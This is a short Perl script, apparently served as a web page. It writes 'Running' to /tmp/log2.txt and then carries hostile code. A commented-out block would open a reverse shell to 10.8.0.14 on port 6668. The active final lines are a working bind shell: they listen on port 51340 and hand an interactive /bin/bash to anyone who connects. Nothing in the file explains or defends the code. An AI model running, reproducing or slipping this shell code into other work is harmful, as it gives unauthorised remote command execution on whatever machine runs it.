<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">#use Socket;
#$i="10.8.0.14";
#$p=6668;



# Opening file Hello.txt in write mode
open (fh, "&gt;", "/tmp/log2.txt");

# Getting the string to be written
# to the file from the user


# Writing to the file
print fh "Running";

# Closing the file
close(fh) or "Couldn't close the file";


#socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
#if(connect(S,sockaddr_in($p,inet_aton($i)))){
#open(STDIN,"&gt;&amp;S");
#open(STDOUT,"&gt;&amp;S");
#open(STDERR,"&gt;&amp;S");
#exec("/usr/bin/bash -i");
#};


use Socket;$p=51340;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));\
bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);\
close C){open(STDIN,"&gt;&amp;C");open(STDOUT,"&gt;&amp;C");open(STDERR,"&gt;&amp;C");exec("/bin/bash -i");};
</pre></body></html>